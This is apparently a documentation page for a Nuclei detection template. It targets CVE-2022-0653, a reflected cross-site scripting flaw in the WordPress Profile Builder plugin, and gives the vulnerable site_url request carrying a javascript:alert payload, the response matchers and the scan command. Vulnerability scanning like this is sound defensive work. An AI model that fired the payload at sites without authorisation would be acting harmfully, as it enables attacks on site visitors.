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Wordpress Profile Builder Plugin Cross-Site Scripting

ID: CVE-2022-0653

Severity: medium

Author: dhiyaneshDk

Tags: cve,cve2022,wordpress,xss,wp-plugin,cozmoslabs

Description

Section titled “Description”

The Profile Builder User Profile & User Registration Forms WordPress plugin is vulnerable to cross-site scripting due to insufficient escaping and sanitization of the site_url parameter found in the ~/assets/misc/fallback-page.php file which allows attackers to inject arbitrary web scripts onto a pages that executes whenever a user clicks on a specially crafted link by an attacker. This affects versions up to and including 3.6.1..

YAML Source

Section titled “YAML Source”
id: CVE-2022-0653


info:
  name: Wordpress Profile Builder Plugin Cross-Site Scripting
  author: dhiyaneshDk
  severity: medium
  description: |
    The Profile Builder User Profile & User Registration Forms WordPress plugin is vulnerable to cross-site scripting due to insufficient escaping and sanitization of the site_url parameter found in the ~/assets/misc/fallback-page.php file which allows attackers to inject arbitrary web scripts onto a pages that executes whenever a user clicks on a specially crafted link by an attacker. This affects versions up to and including 3.6.1..
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement of the affected website.
  remediation: Upgrade to version 3.6.5 or later.
  reference:
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=2022-0653
    - https://www.wordfence.com/blog/2022/02/reflected-cross-site-scripting-vulnerability-patched-in-wordpress-profile-builder-plugin/
    - https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=2655168%40profile-builder&new=2655168%40profile-builder&sfp_email=&sfph_mail=
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2022-0653
    cwe-id: CWE-79
    epss-score: 0.00206
    epss-percentile: 0.58565
    cpe: cpe:2.3:a:cozmoslabs:profile_builder:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 1
    vendor: cozmoslabs
    product: profile_builder
    framework: wordpress
  tags: cve,cve2022,wordpress,xss,wp-plugin,cozmoslabs


http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-content/plugins/profile-builder/assets/misc/fallback-page.php?site_url=javascript:alert(document.domain);&message=Not+Found&site_name=404"


    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '<a href="javascript:alert(document.domain);">here</a>'


      - type: word
        part: header
        words:
          - "text/html"


      - type: status
        status:
          - 200
# digest: 4a0a00473045022100cff611ca826404ea19c5cd08917dc4541d55f87c6b65a6d98e3fc7eb2694254b022051307f5231c0d7adef8d3fa1cde50318130f018b4ef10be0200fae62da9700c7:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2022/CVE-2022-0653.yaml"

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